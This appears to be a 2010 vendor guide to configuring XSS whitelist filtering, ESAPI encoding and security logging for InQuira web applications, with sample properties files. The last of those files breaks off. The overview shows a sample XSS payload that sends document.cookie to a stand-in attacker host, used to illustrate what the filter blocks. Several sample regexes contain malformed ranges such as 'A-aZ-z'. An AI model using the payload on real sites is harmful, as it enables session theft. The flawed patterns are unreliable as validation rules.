Web Application Security Configuration Guide

InQuira Version 8.2.3

Document Number WAS82-SG-03

December 21, 2010

InQuira, Inc.

900 Cherry Ave., 6th Floor
San Bruno, CA 94066

Table of Contents

InQuira Web Application Security Configuration Overview

The InQuira Web Application Security features described in this guide are designed to improve the overall security capabilities of the InQuira web applications:

- InfoCenter
- iConnect, including iConnect for Siebel Contact Center and iConnect for Oracle CRM OnDemand
- Self-Service Portal (SSP)

The security enhancements are designed specifically to protect against cross-site scripting (XSS) attacks by utilizing an updated XSS servlet filter to ensure that all HTTP request parameters are properly validated and safe. The XSS filter provides white list parameter validation where the user-provided data is checked against a set of rules that describe a set of tightly constrained known good values. Any data that does not match will be rejected. The parameter validation rules can be customized through a properties file. The XSS filter also provides security logging for intrusion detection.

The InQuira Web Application Security framework integrates the OWASP Enterprise Security API (ESAPI) framework, an industry tested security framework that is designed to apply standardized best practices for properly encoding and escaping untrusted data prior to use.

White List Parameter Validation

White list parameter validation involves checking data against a set of tightly constrained set of rules to allow only known good values to be entered. The white list parameter validation rules consist of regex patterns defining allowable characters and strings for HTTP request parameter. In addition, the whitelist specifies the maximum number of characters allowed for the field, whether the field can be nullable or blank, and a brief description of the data that should be passed in the field. Using these defined rules prevents attackers from entering scripts into fields which might result in XSS attacks.

For example, a user may attempt to modify an InfoCenter URL parameter in the browser to:

```
http://myhost:8226/InfoCenter/index?page='><script>document.location='http://
www.hacker.com/cgi-bin/stealinginfo.cgi?' %20+document.cookie</script>
```

The InQuira XSS servlet filter validates the data being passed in the page parameter against the REGEX expression to see if it matches. It detects the XSS attack, raises a JSP exception, displays an error message, and logs a detailed error message to a security audit file.

Web Application Security framework provides an InQuira-specific method to test a request parameter utilizing the ESAPI white list validation mechanism. This test performs the following steps:

1. Compares the request parameter to a white list regex pattern stored in the ESAPI validation.properties file. The validation covers the following parameters:
   - The regex pattern specified to validate the data.
   - The maximum allowed length of the parameter.
   - Whether the parameter is allowed to be null.
2. If the parameter passes the white list validation, the data is decoded so it does not include any escaped/encoded characters.
3. If the parameter fails white list verification, the test raises a JSP exception, the browser displays an error message and a detailed error message is logged.

URL Encryption

Web Application Security framework provides encryption for plain text in the URLs to prevent attackers from providing different URLs, in an attempt to thwart phishing and XSS attacks. This affects all forms with success and error URLs as well as search results that come back with URLs in the hyperlink.

If there is a need to pass additional information to the underlying URL, the URL must be decrypted first, add the parameter, and then re-encrypt the URL before the subsequent page is loaded.

The encryption/decryption code must be from com.inquira.foundation.utilities.CVEncryption (imfoundation.jar)

- public static String encryptUrl(String str)
- public static String decryptUrl(String str)

Web Application Security Configuration Files

There are several configuration files that can be customized that control the operation of the InQuira Web Application Security framework. These files are located in the `WEB-INF/classes` folder of each deployed web application. The changes should be performed on a single copy and then copied to the remaining instances of all of the deployed web applications. Failure to copy the changes made to all deployed web applications could lead to inconsistent and/or intermittent problems that can be difficult to diagnose and correct.

Customizing the REGEX Patterns (validation.properties)

The InQuira Web Application Security framework uses regular expressions (REGEX) to compare incoming data against a list of allowable characters. These REGEX patterns are assigned to each parameter in the `inquira_whitelist.properties` file. A REGEX pattern can be shared across many request parameters. If a REGEX pattern is changed it affects ALL request parameters that use the same REGEX pattern.

The list of REGEX patterns is located in the `WEB-INF/classes/resources/validation.properties` file. **Do not modify this file.** If changes are required to any REGEX pattern, place the updated patterns in a new file in the same directory called `validation_custom.properties`. These REGEX patterns will override the original patterns provided by InQuira. Any new patterns defined for a customer should also be added to this file.

The format of the entry in the validation.properties file is

```
Validator.KEY=REGEX
```

where

`KEY` = the name of the REGEX pattern in the `inquira_whitelist.properties` file (the key must be prefaced with `Validator`.)

`REGEX` = the actual REGEX pattern to be used to validate the string.

Customizing the White List (inquira_whitelist.properties)

The list of HTTP request parameters secured by the InQuira web application security framework is stored in the `WEB-INF/classes/resources/inquira_whitelist.properties` file. Each line of the file contains a separate request parameter in the format:

```
KEY=REGEX;MAXLENGTH;ALLOWSNULL;DESCRIPTION;[VALIDATEORENCODE];[ISINPUT]
```

The following table describes each of the parameters:

Parameter	Description
`KEY`	HTTP Request parameter that is being validated.
`REGEX`	A reference to the REGEX expression stored in the validation.properties file.
`MAXLENGTH`	A numeric value for the maximum size of the field (must include size in bytes for double byte characters, if appropriate).
`ALLOWSNULL`	A boolean (true|false) indicating whether the parameter can be null.
`DESCRIPTION`	A description of what data the parameter contains.
`VALIDATEORENCODE`	A switcher to specify how to handle the validation, valid values are: • validate (do original validate), • encode (encode the input value; if encode fails, return null), • none (do nothing, skip the validation handle). The default value is validate.
`ISINPUT`	A boolean (true|false) value indicating whether the parameter value is from user input. The default value is false.

The `inquira_whitelist.properties` file provided with the default installation should not be changed. Any customizations required should be placed in a new file called `inquira_whitelist_custom.properties` located in the same directory as the original `inquira_whitelist.properties` file. This makes it easier to upgrade to newer versions in the future. If a property needs to be changed or new parameters added - place them in the custom property file. Those properties override the existing properties of the same name.

Custom applications that use different request parameters should create an entry in this file for every request parameter. If the parameter is missing from this file a security exception will be flagged and the user will receive an error message.

Customizing the InQuira ESAPI Encoder (inquira_esapi.properties)

The InQuira Web Application Security framework contains an InQuira-specific encoder class that extends the OWASP ESAPI default encoder to provide the ability to disable various encoder methods without having to remove them from the source code. This can be helpful if it becomes necessary to turn off a specific type of validation due to performance issues under load. In general all of the ESAPI encoders are enabled by default and should be used where appropriate in web applications. The `HTMLEncoder()` is currently being used by the InQuira Web Application Security Framework and should not be disabled.

This property file is located at `WEB-INF/classes/resources/inquira_esapi.properties`. **Do not modify this file.** Customization must be added to a new file called `inquira_esapi_custom.properties` located in the same folder. All changes must be copied to all deployed instances of the web application in the network.

Enabled/disabled the following methods in the `inquira_esapi.properties` configuration file:

Method	Default Setting*
`HTMLAttributeEncoding`	False
`HTMLEncoding`	False
`CSSEncoding`	False
`DNEncoding`	False
`JavaScriptEncoding`	False
`LDAPEncoding`	False
`OSEncoding`	False
`SQLEncoding`	False
`URLEncoding`	False
`XMLEncoding`	False
`XMLAttributeEncoding`	False
`XPathEncoder`	False

*. Setting any property to **True** disables the provided encoding.

Customizing OWASP ESAPI (ESAPI.properties)

The OWASP ESAPI framework provides a number of configuration options that control the behavior of the ESAPI framework. The `WEB-INF/classes/resources/ESAPI.properties` file contains the default values for the deployed web application. Any changes made to this file MUST be propagated to all other deployed instances to ensure consistent behavior.

The `ESAPI.properties` file contains settings that control how logging is performed, intrusion detection thresholds, and a number of other properties. Complete documentation for this file is located at

```
http://www.owasp.org/index.php/ESAPI_Overview#ESAPI.properties
```

Customizing Error Handling Behavior (securityhandlermap.properties)

The InQuira Web Application Security Framework provides several options for handling errors caused by security violations. The configuration for the error handling is stored in `WEB-INF/classes/securityhandlermap.properties` file. The default values provided by InQuira are:

- system.default=detail
- system.action=detail
- system.page=detail

The format of the entries are:

```
<SCOPE> = <ERROR HANDLER>
```

There are three types of error handling that is possible.

- detail = this is default handler type. If a security error occurs return to the previous page and display an error dialog
- general = if a security error occurs return to the default error page in the application - index?page=error

- custom = If a security error occurs, use a customized error handling mechanism. Instructions are provided in /apps/infocenter/system/components/security/errorinfo.jsp. Add an additional attribute to the <IM:sitemap> tag called securityhandler=custom. There should only be one of these custom security handlers per web application. Example sitemap tag: <IM:sitemap pagenme="securityerror" securityhandler='custom"/>

In addition to the specific types of error handling, the scope of the error handling can be controlled. The valid scopes for error handling are:

- system.default = if nothing is configured for specific types of scopes this value is used for all requests.
- system.action = the type of error handler that will be used for FORM actions
- system.page = the type of error handler that will be used for standard JSP page requests
- page.<pagename> = the type of error handler that will be used for the specified pagename (IM:sitemap pagename value)
- action.<actionname> = the type of error handler that will be used for the specified FORM action. This is the value that is used in the hidden FORM field

Error Logging

The InQura Web Application Security framework maintains an error log file dedicated to security. Whenever parameter validation fails in InfoCenter, iConnect, iConnect for Siebel, iConnect for CRMOD, or SSP, Web Security logs an error message to the security error log file. The error message contains the following information:

- The name of the web application (InfoCenter, iConnect, iConnect for Siebel, iConnect for CRMOD, or SSP).
- The name of the parameter.
- The value entered by the user.
- The reason for the failure (null value not allowed, parameter length exceeds the maximum length, or does not pass the regex pattern). If the failure is due to the regex pattern, the regex pattern used for the validation is logged.
- The userid, if available. If the userid is not available, then the log records “unregistered user”.

The log file is written to the location specified in the `WEB-INF/classes/resources/ESAPI.properties Logger.LogFileName` property. The value whould be a full directory path for the location of the security log file to be written. Each deployed instance of a web application should create a unique log file to avoid overwriting log entries. The default error log file location is:

```
<IM_HOME>\logs\<Repository_REF>\InfoCenter\Security\
```

APPENDIX A

Appendix A: Sample Configuration Files

This appendix includes the following sample configuration files:

- **validation.properties**
- **inquira_whitelist.properties**
- **inquira_esapi.properties**
- **securityhandlermap.properties**

The following sample configuration files are located at:

```
<IM_HOME>\instances\<instance_name>\appserverim\webapps\<webapp_context>\WEB-
INF\classes\resources\
```

validation.properties

```
# The ESAPI validator does many security checks on input, such as canonicalization
# and whitelist validation. Note that all of these validation rules are applied *after*
# canonicalization. Double-encoded characters (even with different encodings involved,
# are never allowed.
#
# To use:
#
# First set up a pattern below. You can choose any name you want, prefixed by the word
# ?Validation.? For example:
#   Validation.Email=^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\\.[a-zA-Z]{2,4}$
#
# Then you can validate in your code against the pattern like this:
#    ESAPI.validator().isValidInput(?User Email?, input, ?Email?, maxLength, allowNull);
# Where maxLength and allowNull are set for you needs, respectively.
#
# But note, when you use boolean variants of validation functions, you lose critical
# canonicalization. It is preferable to use the ?get? methods (which throw exceptions) and
# and use the returned user input which is in canonical form. Consider the following:
#
# try {
#    someObject.setEmail(ESAPI.validator().getValidInput(?User Email?, input, ?Email?,
maxLength, allowNull));
#
Validator.SafeString=^[.\\p{Alnum}\\p{Space}]{0,1024}$
Validator.Email=^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\\.[a-zA-Z]{2,4}$
Validator.IPAddress=^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-
4][0-9]|[01]?[0-9][0-9]?)$
Validator.URL=^(ht|f)tp(s?)\\:\\/\\/[0-9a-zA-Z]([-.\\w]*[0-9a-zA-Z])*(:(0-9)*)*(\\/
?)([a-zA-Z0-9\\-\\.\\?\\,\\:\\?\\/\\+\\+=&amp;%\\$#_@\\[\\]]*)?$
Validator.CreditCard=^(\\d{4}[- ]?){3}\\d{4}$
Validator.SSN=^(?!000)([0-6]\\d{2}|7([0-6]\\d|7[012]))([ -
]?)(?!00)\\d\\d\\3(?!0000)\\d{4}$
# InQuira Shared Patterns
Validator.SortDirection=(?i)^(ascending)|(descending)+$
Validator.UnicodeString=^[\\p{L}\\p{Pc}\\p{Nd} ]+$
Validator.UnicodeString2=^[\\p{L}\\p{P}\\p{N} ]+$
Validator.EncryptCode=^[A-Za-z0-9-!=]+$
Validator.DocID=^[:\\p{L}\\p{Pc}\\p{Nd}]+$
Validator.Numeric=^[0-9.,:]+$
```

```
Validator.GUID=^[A-Za-z0-9-+]+$
Validator.Locale=^([a-z][a-z]_[A-Z][A-Z])|(null)|[A-Z]{3}+$
Validator.URIString=^[\\p{L}\\p{Pc}\\p{Nd}+=&amp;%\\\\$#_?:.!]+$
Validator.ASCIIString=^[A-aZ-z]+$
Validator.WorldCharacter=^\\w+$
Validator.PMV=^(print|y)+$
Validator.YesNo=(?i)^[yesno]+$
Validator.TrueFalse=(?i)^(true)|(false)|(y)|(n)+$
Validator.AlphaNumeric=^[A-aZ-z0-9.,;:]+$
Validator.AlphaNumericDash=^[A-aZ-z0-9.,-]+$
Validator.HighlightInfo=^[0-9,]+$
Validator.SearchRestriction=^(IM|IM_CHANNEL|IM_DISCUSSION)+$
Validator.DateTime=^(((((0?[13578])|(1[0-2]))[\-\/\s]?((0?[1-9])|([1-2][0-9])|
(3[01])))|(((0?[469])|(11))[\-\/\s]?((0?[1-9])|([1-2][0-9])|(30)))|(0?2[\-\/
\s]?((0?[1-9])|([1-2][0-9])))))[\-\/\s]?\d{4})(\s(((0?[1-9])|(1[02]))\:([0-5][0-
9])((\s)|(\:([0-5][0-9])\s))([AM|PM|am|pm]{2,2})))?$
Validator.SortField=(?i)^((contentid)|(contenttextid)|(indexmasteridentifiers)|
(localeid)|(ownerid)|(ownername)|(priorityid)|(publisheddate)|(recordid)|
(requirestranslation)|(answered)|(dateadded)|(datemodified)|(createdate)|
(displayeenddate)|(displaystartdate)|(eventenddate)|(eventstartdate)|(documentid)|
(views)|(\\+))+$
Validator.Priority=(?i)^((none)|(low)|(medium)|(high))+$
Validator.CaseNumber=^[A-aZ-z0-9]+$
Validator.Type=(?i)^((forum)|(topic)|(channel)|(content)|(currentpaging)|(empty)|
(narrow)|(search)|(feedback)|(forward)|(backward)|(N)|(similar)|(open)|(message))+$
Validator.FileName=^[\\p{L}\\p{Pc}\\p{Nd}.:\\\\\\/]+$
Validator.SearchList=^[0-9.,]+$
Validator.SearchFacet=^[\\p{L}\\p{Pc}\\p{Nd}-.]+$
Validator.UserAgent=^[A-aZ-z0-9.,/;_\\)\\( -:\\s]+$
Validator.DBFilterValues=(?i)^[((all)|(solved)|(helpful)|(unsolved)|(hide)|(general)|
(question)|(announcement))+]+$
Validator.UserId=^([A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\\.[a-zA-Z]{2,4})|([A-Za-z0-9-/]+)$
Validator.UnicodeStringPlus=^[\\p{L}\\p{Pc}\\p{Nd} +]+$
Validator.AlphaNumericDashColon=^[A-aZ-z0-9-:]+$
Validator.Wizaction=(?i)^((search)|(back)|(next)|(cancel)|(finish))+$
Validator.UnicodeStringPunctuationMultilineURL=^[\\p{L}\\p{P}\\p{Nd}\r\n+=$ ]+$
Validator.UnicodeStringPunctuation=^[\\p{L}\\p{P}\\p{Nd} ]+$
Validator.ASCIIStringDash=^[A-aZ-z-]+$
Validator.ASCIIStringUnderscore=^[A-aZ-z_]+$
Validator.ASCIIStringSpace=^[A-aZ-z ]+$
Validator.CaseActionPriority=(?i)^((1-ASAP)|(2-High)|(3-Medium)|(4-Low))+$
Validator.UnicodeStringPunctuationMultiline=^[\\p{L}\\p{P}\\p{Nd}\r\n+=$ ]+$
Validator.UnicodeStringPunctuationPlus=^[\\p{L}\\p{P}\\p{Nd}+ ]+$
Validator.Default=^[0-9A-aZ-z_]+$
```

inquira_whitelist.properties

```
# Inquira whitelist parameter validation configuration file
# The key represents the HTTP Request parameter
# The value represents the whitelist validation information. The format is
# KEY=REGEX;MAXLENGTH;ALLOWSNULL;DESCRIPTION;[VALIDATEORENCODE];[ISINPUT]
# The KEY is the HTTP Request parameter that is being validated
# The REGEX parameter is a reference to the REGEX expression stored in the
validation.properties file
# The MAXLENGTH parameter is a numeric value for the maximum size of the field (must
include size in bytes for double byte characters if appropriate)
# The ALLOWSNULL parameter is a boolean (true|false) indicating whether the parameter
can be null
# The DESCRIPTION parameter is a description of what data the parameter contains
# The VALIDATEORENCODE parameter is a switcher to specify how to handle the validation,
valid value is: validate( do original validate), encode(encode the input value, if encode
failed, return null), none (do nothing, skip the validation handle), the default value
is validate
# The ISINPUT parameter is a boolean (true|false) value indicating whether the parameter
value is from user input, by default is false
#
# Below information is for security filter ONLY
# NOTE: the configuration support hierachical parameter
# The request page name(request.getParameter(?page?)) or request action
name(request.getParameter(?action?), for HTTP ?POST? only)
# to define these parameters rule, you can connect the pagename/actionname with parameter
name by ?>?
# e.g.:
# home>cat=..
# LoginAction>userid=..
# the parameter validation works as: check the request parameter with page/action to see
if there is specified rule, if yes, use it, otherwise, use the normal parameter rule.
act=ASCIIString;15;true;String used to populate activity type for analytics
actp=ASCIIString;15;true;String used to populate activity type for analytics
anchor=ASCIIString;15;true;It only used in p_answeropen.jsp, if  anchor equals null, the
page set the anchor equals ??, no other use. And all urls in InfoCenter not contain the
parameter.
Answer=UnicodeString;1000;true;This is the body for the content recommendation
answerid=Numeric;20;true;Search answerid
answers=UnicodeString;1000;true;This is the body for the content recommendation
appResources=UnicodeString;1000;true;Location of application resources.It is not an
parameter, it is an configuration in InforCenter.properties
avatar=FileName;30;true;avatar file name for user settings
api_url=URL;2048;true;URL For cca, used to as URL to connect to for third party system.
back=TrueFalse;5;true;Boolean value if the user asked another question
batch=Numeric;5;true;Batch size
binDetail=TrueFalse;5;true;Boolean value if display detail page for cca
binNode=TrueFalse;5;true;Boolean value if it is a node or an attribute
board=UnicodeString;50;true;This is the reference key of the discussion board
case=AlphaNumericDash;15;true;This is an CRM case number
cat=UnicodeString;40;true;This is the reference key of a category
cca_connected=TrueFalse;5;true;Boolean value if it is a new request from CRM system
cca_case_desc=UnicodeString;250;true;Description of case from CCA.
casestatus=ASCIIString;50;true;Status of case in CCA.
cca_system=UnicodeString;40;true;This is a reference key used in cca to identify the type
of cca system.
cd=UnicodeString2;100;true;This is the case description;validate;true
channel=UnicodeString;40;true;This is the reference key of a channel
checksum=ASCIIString;15;true;This is an CRC32 ID
checksums=AlphaNumeric;100;true;This is an CRC32 ID list
cn=AlphaNumericDash;100;true;This is the case number;validate;true
count=Numeric;5;true;Count string
cp=UnicodeString;20;true;Query string of previous page
```

```
crawledDate=DateTime;40;true;This is the date crawled.
crawledMonth=AlphaNumeric;20;true;This is the month crawled.
crawledYear=AlphaNumeric;20;true;This is the year crawled.
cv=Numeric;6;true;This is the case incident value
def=UnicodeString;1000;true;This is the search excerpt
desc=ASCIIString;15;true;This is Content Attribute reference key, not use in
InfoCenter;validate;true
detail=UnicodeString;40;true;This is the sitemap name of the JSP page
dir=SortDirection;10;true;Sort direction for a list
docExcerpt=UnicodeString;100;true;Document excerpt
docguid=GUID;40;true;record guid
docid=DocID;40;true;This is the document ID of an IM doc
docTitle=UnicodeString2;100;true;Document title
doctype=ASCIIString;15;true;Search document type
documentId=DocID;10;true;This is the document ID of an IM doc
docUrl=URL;100;true;Document URL
docVersion=Numeric;6;true;String representing the document version number
draft=YesNo;1;true;This is either a Y or N value
edit=GUID;40;true;Edit Mode
email=Email;50;true;Email address;validate;true
er=YesNo;1;true;This is either a Y or N value
message_status>error=Numeric;6;true;String used to pass back error codes;none
errorcode=Numeric;6;true;String used to pass back error codes
exturl=URL;1000;true;Document URL
ext_sol=AlphaNumeric;1000;true;Array of solutions from CCA system.
fac=SearchFacet;100;true;This is the reference key for the Search FACETS
feedbackcomments=UnicodeString;100;true;This is user provided comments for the search
results
feedbackrating=Numeric;6;true;Numeric rating for search feedback
filter=DBFilterValues;40;true;This is the filter for listing of various items like
categories or topics
fname=UnicodeString;40;true;First Name;validate;true
form=UnicodeString;100;true;Data form reference key
forum=GUID;40;true;record guid
fromTopic=TrueFalse;5;true;Boolean value if the link was from a discussion topic
guid=GUID;40;true;record guid
highlightinfo=HighlightInfo;1000;true;Search highlight info data
id=DocID;40;true;This is either a DOC ID or a GUID of a record. Can include S:
imdocid=DocID;10;true;This is the document ID of an IM doc
imdocid_and_version=AlphaNumeric;20;true;This is a string containing an IM doc Id and
version number
imid=AlphaNumeric;100;true;This is a string containing one or more IM doc IDs
IMID=AlphaNumeric;100;true;This is a string containing one or more IM doc IDs for CCA.
impressions=TrueFalse;5;true;Boolean value indicating if impressions should be tracked
iqaction=Numeric;5;true;Search iqaction url parameter data
isCCA=TrueFalse;5;true;Boolean value indicating if CCA is active
isClickLinked=TrueFalse;5;true;This is either a True or False value
isSSP=TrueFalse;5;true;Boolean flag
itData.offset=Numeric;5;true;Batch iterator offset
lbc=AlphaNumericDash;5;true;CRM case number
linked=ASCIIString;10;true;Linked status in CCA.
linkstatus=ASCIIString;50;true;Used in CCA to track the solution to pass back.
lname=UnicodeString;40;true;Last Name;validate;true
locale=Locale;5;true;locale code in form (en_US)
login=UnicodeString;40;true;This is the login for the user used by Search;validate;true
lp=URIString;300;true;URI string containing encoded or UTF characters, excluding the
protocol, host, port info
managedAnswer=TrueFalse;5;true;Boolean value indicating if its a managed answer or not
for CCA.
max=Numeric;6;true;max record size
message=GUID;40;true;record guid
mode=UnicodeString;20;true;CCA Mode Flag
newdocexcerpt=WorldCharacter;500;true;Exceprt from CCA when creating a new doc for
```

```
CCA.;none
content>newdocexcerpt=WorldCharacter;500;true;Exceprt from CCA when creating a new doc
for CCA.;none
forums>newdocexcerpt=WorldCharacter;500;true;Exceprt from new topic creation.;none
newdocid=DocID;10;true;This is the document ID of an IM doc
newdoctitle=UnicodeString2;100;true;Title to use from CCA for new Doc.;none
newdocversion=UnicodeString;10;true;Version to use from CCA for new doc.;none
newguid=GUID;40;true;record guid
newsearch=YesNo;1;true;This is either a Y or N value
newtopic=UnicodeString;50;true;Topic to use from CCA for new doc.
nofilter=TrueFalse;5;true;Boolean Flag to determine if there is a filter or not
page=UnicodeString;40;true;This is the sitemap name of the JSP page
parent=GUID;40;true;record guid
passed=URL;100;true;This is a URL that gets passed around via JSP include calls
pmv=PMV;5;true;Print string
priority=Priority;6;true;Priority for content contribution
ques=UnicodeString;100;true;This is the question that the user asks in CCA.
question_box=UnicodeString;100;true;This is the question that the user asks;none
rec=GUID;40;true;record guid
Referer=URL;1000;true;URL string containing encoded or UTF characters
relatedids=SearchList;1000;true;Comma separated list of answer ids
reply=GUID;40;true;record guid
restrict=SearchRestriction;14;true;Tell IQ Search to only look for IM documents. If not
specified no restrictions are applied
return=UnicodeString;40;true;This is the sitemap name of the JSP page to return for the
subscription
rp=URIString;1000;true;URI string containing encoded or UTF characters, excluding the
protocol, host, port info
rss=TrueFalse;5;true;Boolean flag whether this is an rss feed
s=GUID;40;true;record guid
searchid=Numeric;15;true;String containing a search ID
sel=UnicodeString;40;true;Name of ComboBox
sendcontent=UnicodeString;40;true;This is the sitemap name of the JSP page
sendemail=UnicodeString;40;true;Link sendemail was from
sent=YesNo;1;true;This is either a Y or N value
session=ASCIIString;200;true;Session to use for CCA.
showdef=TrueFalse;5;true;Boolean flag
showDraft=TrueFalse;5;true;Boolean flag to show draft content or not
showreply=TrueFalse;5;true;Boolean flag to show replies
solutions=AlphaNumeric;1000;true;Array of solutions to pass back to CCA.
sort=SortField;500;true;This is a list of valid column names from the IM CONTENTTEXTPUB
table separated by + signs
sr=AlphaNumericDash;15;true;String representing the CRM case number
sr_key=ASCIIString;100;true;The Key for the service request from CCA system.
sr_summary=UnicodeString;500;true;The summary desc of the service request from CCA.
srKey=ASCIIString;100;true;The Key for the service request from CCA system, same as
sr_key.
srSummary=UnicodeString;500;true;The summary desc of the service request from CCA, same
as sr_summary.
startover=YesNo;1;true;This is either a Y or N value
status=ASCIIString;15;true;Message status, the value include: ?NONE?, ?HELPFUL?,
?SOLVED?
step=GUID;40;true;record guid
stepuid=GUID;40;true;record guid
subscriptionid=GUID;40;true;record guid
SUMMARY=UnicodeString2;70;true;Summary of problem for CCA.;none;true
title=UnicodeStringPunctuation;100;true;It is a link text of search
results;validate;true
token=AlphaNumeric;100;true;IM Security token
topic=GUID;40;true;record guid
trackClick=TrueFalse;5;true;No need log the click-thru if cancel/submit this page and go
to the answer detail page.
type=Type;15;true;Subscription type
```

```
unsubscribe=TrueFalse;5;true;Boolean flag to indicate whether to unsubscribe or not
url=URL;300;true;Clickthru URL for tracking in search analytics
user=UserId;40;true;record guid
user-agent=UserAgent;200;true;HTTP User agent string
userid=WorldCharacter;50;true;UserID for Infocenter;validate;true
viewlocale=Locale;5;true;locale code in form (en_US)
wizardid=Numeric;5;true;Process wizard step id
wizardnextstep=Numeric;5;true;Process wizard next step id
wizardstepid=Numeric;5;true;Process wizard step id
wizlabel=UnicodeString;40;true;This is the name of the process wizard
answerlink>url=EncryptCode;3048;true;the passed url is encrypted value for security
reason
answeropen>url=EncryptCode;3048;true;the passed url is encrypted value for security
reason
ccaClickthrough>url=EncryptCode;3048;true;the passed url is encrypted value for security
reason
ccaClickthrough>exturl=EncryptCode;3048;true;the passed url is encrypted value for
security reason
CCACaseLink>url=EncryptCode;3048;true;the passed url is encrypted value for security
reason
casenumber=AlphaNumericDashColon;100;true;Case Number;validate;true
casedescription=UnicodeStringPunctuationMultilineURL;2048;true;Case
Description;validate;true
firstname=UnicodeString;40;true;First Name;validate;true
lastname=UnicodeString;40;true;Last Name;validate;true
departments=UnicodeStringPlus;200;true;reference key of department(s) - delimited by ?+?
categories=UnicodeStringPlus;200;true;reference key of categories - delimited by ?+?
groups=UnicodeStringPlus;200;true;reference key of user groups - delimited by ?+?
publish=TrueFalse;5;true;Boolean value if public detail page for cca
caseincident=Numeric;5;true;record the number of case incident
action=ASCIIString;20;true; action name.
success=URIString;300;true;success page URL
ajaxRating=TrueFalse;5;true;Boolean value if  it is Ajax rating
contentid=GUID;40;true;record guid
surveyid=GUID;40;true;record guid
TakeSurveyAction>id=Numeric;15;true;String containing a search ID
cv_newsletter_input_checkbox=GUID;200;true;This is a list of newsletter ids
talkbacktitle=UnicodeStringPunctuation;100;true;title of message
talkbackbody=UnicodeStringPunctuationMultilineURL;2048;true;content of message
talkbackauthor=UnicodeStringPunctuation;80;true;author?s full name
emailto=Email;50;true;Email address
emailfrom=Email;50;true;Email address
emailfooter=UnicodeStringPunctuationMultilineURL;500;true;Text that will be appended on
email responses only, right after the text the user inputed. This is an optional
attribute, and it can be used to providing a link back to the threaded discussion. You
could specify the email footer here as a attribute in tag or provide a input field with
name = ?emailfooter? for this parameter.
parentrecord=GUID;40;true;record id of the parent record for this message.
textvalue=UnicodeStringPunctuationMultilineURL;2000;true;recommendation
content;validate;true
localecode=Locale;5;true;locale for content
wizaction=Wizaction;10;true;The action type of process wizard, include: search, back,
next, finish and cancel
searchstring=UnicodeStringPunctuation;100;true;This is the question that the user
asked;validate;true
password=UnicodeStringPunctuation;50;true;password for Infocenter
domain=UnicodeString;40;true;reference key of site, in deployment mode, domains can?t be
changed, so don?t bother to re-populate the domain value
passwordhint=UnicodeString;40;true;password hint
alias=UnicodeString;40;true;user alias;validate;true
showname=TrueFalse;5;true;Whether  display name to public, the value include: Y, N,
false, true
showemail=TrueFalse;5;true;Whether display email address to public, the value include:
```

```
Y, N, false, true
sccreateuser=TrueFalse;5;true;Boolean value. Set to true if you would like to create a
new user, otherwise set to false
scisadmin=TrueFalse;5;true;Boolean value. Set to true if you would like to create a new
admin user, set to false to create web users
userguid=GUID;40;true;User Guid
scsecurityroles=UnicodeStringPlus;200;true;Role reference keys separated by ?+? signs.
parenteditorgroup=UnicodeString;40;true;Reference key of user group
autologin=TrueFalse;5;true;Boolean value. Set to true if you would like to login the
edited user, otherwise set to false.
subscribeoncreate=TrueFalse;5;true;Whether always subscribe to topics (create), the
value include: Y, N, false, true
subscribeonreply=TrueFalse;5;true;Whether always subscribe to topics (reply to), the
value include: Y, N, false, true
schedule=Numeric;1;true;option list, the value include: 0, 1, 2, 3, 4 (Don?t send emails,
Immediately,  Once per day, Every other day, Once per week)
recipient=Email;50;true;Email address of recipient
recipientname=UnicodeString;80;true;Full name
from=Email;50;true;Email address
fromname=UnicodeString;80;true;Full name
PageEmailAction>page=URL;300;true;html page to send as the body of the email
subject=UnicodeStringPunctuation;50;true;Case summary;validate;true
comments=UnicodeStringPunctuationMultilineURL;2048;true;email body;validate;true
mailsubject=UnicodeStringPunctuation;100;true;email subject;validate;true
ccasrkey=AlphaNumericDashColon;100;true;Case Number
ccasrsummary=UnicodeStringPunctuationMultilineURL;2048;true;Case
description;validate;true
ccatypes=AlphaNumericDashColon;40;true;CCA type: Example: ?solution_id,resolution_id?
ccasubtype=ASCIIStringUnderscore;20;true;CCA sub type. Example : ?email_activity.
ccasystem=ASCIIString;20;true;CCA system name,Example: ?CRMOD?, ?Siebel?.
params=UnicodeStringPunctuationPlus;1000;true;Extra params - delimited by ?+?.
UnicodeString for each param key and value.
uniqueid=Numeric;20;true;Unique ID for search result
Area=ASCIIString;20;true;This is an concept in CRMOD, the value include: Installation,
Maintenance, Training, Other, Product
Cause=ASCIIStringSpace;40;true;This is an concept in CRMOD, it is cause of update a case.
The  value include: Unclear Instructions, User Needs Training, Existing Issue, New Issue,
Other
contactEmail=Email;50;true;Contact email address
description=UnicodeStringPunctuationMultilineURL;2048;true;Case
description;validate;true
actionType=ASCIIString;20;true;Action type. Example: updateCase
CreateUpdateCaseAction>priority=CaseActionPriority;10;true;The priority of a case. The
value include:1-ASAP, 2-High, 3-Medium, 4-Low
SRNumber=AlphaNumericDashColon;100;true;Case Number
contactId=AlphaNumericDashColon;20;true;contact ID in SSP. Example: ?AAPA-5AGEQI?
noteSubject=UnicodeStringPunctuation;25;true;subject of note;validate;true
noteDescription=UnicodeStringPunctuationMultilineURL;1024;true;description of
note;validate;true
makeMeOwner=TrueFalse;5;true;Boolean value. It is used when create or edit a case in SSP
fullName=UnicodeStringPunctuation;80;true;The full name of contact in SSP;validate;true
docHistory=UnicodeStringPunctuationMultiline;1000;true;This is an array of search
history
mmessageType=Numeric;1;true;option list
topicType=Numeric;1;true;option list, the value include: 1, 2, 3 (Normal Topic, Question
Topic, Announcement)
defaultValidator=Default;50;true;This parameter is used to validate all the parameters
which is not exist in the white list.
```

inquira_esapi.properties

```
# InQuira Specific Configuration Parameters for ESAPI
# Setting this property to true will disable the HTMLAttribute encoding provided
# by the ESAPI framework. IT IS NOT RECOMMENDED TO DISABLE THIS CHECK!!!
# calls to org.owasp.esapi.ESAPI.encoder().encodeForHTMLAttribute() will return the
# unescaped version of the string. This can result in XSS issues.
INQUIRA.disableHTMLAttributeEncoder=false
# Setting this property to true will disable the HTML encoding provided
# by the ESAPI framework. IT IS NOT RECOMMENDED TO DISABLE THIS CHECK!!!
# calls to org.owasp.esapi.ESAPI.encoder().encodeForHTML() will return the
# unescaped version of the string. This can result in XSS issues.
INQUIRA.disableHTMLEncoder=false
# Setting this property to true will disable the CSS encoding provided
# by the ESAPI framework. IT IS NOT RECOMMENDED TO DISABLE THIS CHECK!!!
